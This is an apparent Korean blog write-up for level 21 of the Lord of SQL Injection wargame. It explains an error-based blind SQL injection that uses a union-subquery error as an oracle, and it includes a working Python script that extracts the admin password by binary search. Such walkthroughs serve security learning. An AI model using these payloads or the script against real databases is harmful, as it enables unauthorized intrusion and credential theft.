[Level 21. Iron_golem] Sol → ?pw=06b5a6c16e8830475f983cc3a825ee9a
pw를 알아야 통과할 수 있기 때문에 Blind SQLi를 사용해서 비밀번호를 한 글자씩 알아내야 하는 점은 기존의 문제와 같다. 하지만 기존에는 if($result['id']) echo "<h2>Hello {$result['id']}</h2>" 코드가 포함되어 있었기 때문에 쿼리문의 참/거짓을 기준으로 자동화 코드를 돌릴 수 있었는데, 이번 소스코드에는 그 부분이 빠져있다.
대신에 다른 점은, if(mysqli_error($db)) exit(mysqli_error($db)); 부분이 포함되어 있다.
Error를 띄우게 되어있다? 그렇다면 Error based SQLi를 사용해야 함을 추론할 수 있다.
pw=' group by id # 은 id라는 column이 존재하기 때문에 아무런 Error가 뜨지 않는 반면, pw=' group by idd #를 넣어주면 에러가 발생한다.
따라서 에러 메시지 출력 여부를 바탕으로 Blind SQLi를 돌릴 수 있다.
[접근 방법]
Error Based를 사용해야 한다는 것은 쉽게 추론할 수 있지만, 쿼리문의 형태를 만드는 것이 쉽지 않다.
pw=' or id ='admin' and ()%23 형태에서 괄호에 쿼리를 넣어야 하는데, union select를 사용할 경우 column 수를 맞추어주어야 한다는 점을 이용해보자.
pw=' or id ='admin' and (select 0 union select 0)#의 경우 0만 선택하기 때문에 에러가 발생하지 않지만,
pw=' or id ='admin' and (select 0 union select 1)#의 경우 0과 1을 선택하기 때문에 select 하는 column의 수가 일치하지 않아서 에러가 발생한다.
따라서 쿼리문이 참이면 1, 거짓이면 0 값이라는 점을 이용하여 union select (요 부분!)에 원하는 쿼리를 넣어주면 된다.
length(pw) = 1을 넣으면 거짓이기 때문에 0이 나와서 에러가 출력되지 않았지만, length(pw) > 1을 넣으면 참이기 때문에 에러가 출력되었다.
이제 자동화 코드를 돌려보자.
import requests
url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
cookie = {'PHPSESSID': 'Cookies'}
def find_length():
pwlength = 1
while True:
param = {"pw": "' or id = 'admin' and (select 0 union select length(pw) = {}) #".format(pwlength)}
req = requests.get(url, params = param, cookies = cookie)
if "Subquery returns more than 1 row" in req.text:
return pwlength
else:
pwlength += 1
def find_pw():
length = find_length()
password = ""
for i in range(length):
s = 1
e = 127
value = 64
while True:
param = {"pw": "' or id = 'admin' and (select 0 union select ascii(substring(pw, {}, 1)) = {}) #".format(i+1, value)}
print(param)
req = requests.get(url, params = param, cookies = cookie)
if "Subquery returns more than 1 row" in req.text:
password += chr(value)
break
else:
param = {"pw": "' or id = 'admin' and (select 0 union select ascii(substring(pw, {}, 1)) > {}) #".format(i+1, value)}
req = requests.get(url, params = param, cookies = cookie)
if "Subquery returns more than 1 row" in req.text:
s = value
value = (value + e) // 2
else:
e = value
value = (s + value) // 2
print("비밀번호는: ", password)
find_pw()
'WarGames > SQL Injection' 카테고리의 다른 글
Lord of SQL Injection : Hell_fire[23] (0) | 2021.12.28 |
---|---|
Lord of SQL Injection : Dark_eyes[22] (0) | 2021.12.25 |
Lord of SQL Injection : Dragon[20] (0) | 2021.12.22 |
Lord of SQL Injection : Xavis[19] (0) | 2021.12.19 |
Lord of SQL Injection : Nightmare[18] (0) | 2021.12.17 |
댓글